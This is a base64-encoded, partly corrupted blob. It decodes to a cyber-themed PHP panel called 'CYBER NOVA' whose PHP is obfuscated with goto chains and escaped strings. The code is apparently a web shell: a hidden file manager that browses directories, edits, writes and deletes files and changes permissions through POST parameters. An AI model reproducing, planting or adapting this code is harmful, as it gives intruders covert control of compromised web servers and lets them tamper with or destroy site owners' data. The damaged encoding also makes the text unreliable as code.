4IHZhcigtLWN5YmVyLWJsdWUpO3Bvc2l0aW9uOnN0aWNreTt0b3A6MDt6LWluZGV4OjEwMDA7YmFja2Ryb3AtZmlsdGVyOmJsdXIoMTBweCl9LmhlYWRlci1sZWZ0e2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOjI1cHh9Lm5vdmEtdGl0bGV7Zm9udC1mYW1pbHk6T3JiaXRybsbW9ub3NwYWNlO2ZvbnQtc2l6ZToyLjVyZW07YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoNDVkZWcsdmFyKC0tY3liZXItYmx1ZSksdmFyKC0tbWF0cml4LWdyZWVuKSk7LXdlYmtpdC1iYWNrZ3JvdW5kLWNsaXA6dGV4dDtiYWNrZ3JvdW5kLWNsaXA6dGV4dDtjb2xvcjp0cmFuc3BhcmVudDt0ZXh0LXNoYWRvdzp2YXIoLS1jeWJlci1nbGKSB2YXIoLS1jeWJlci1ibHVlKTtsZXR0ZXItc3BhY2luZzoycHh9LnNlc3Npb24taW5mb3tkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2dhcDoyMHB4O2ZvbnQtZmFtaWx5OidTaGFyZSBUZWNoIE1vbm8nLG1vbm9zcGFjZX0uc3RhdHVzLWJhZGdle3BhZGRpbmc6OHB4IDIwcHg7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoNDVkZWcsdmFyKC0tY3liZXItYmx1ZSksdmFyKC0tbmVvbi1wdXJwbGUpKTtib3JkZXItcmFkaXVzOjIwcHg7Zm9udC1zaXplOi45cmVtO2ZvbnQtd2VpZ2h0OjcwMDt0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7bGV0dGVyLXNwYWNpbmc6MXB4fS5sb2dvdXQtYnRue3BhZGRpbmc6MTJweCAzMHB4O2JhY2tncm91bmQ6dmFyKC0tY3liZXItcmVkKTtib3JkZXI6bm9uZTtib3JkZXItcmFkaXVzOjEwcHg7Y29sb3I6I2ZmZjtmb0LWZhbWlseTpPcmJpdHJvbixtbvc3BhY2U7Zm9udC13ZWlnaHQ6NzAwO2N1cnNvcjpwb2ludGVyO3RyYW5zaXRpb2YWxsIC4zczt0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7bGV0dGVyL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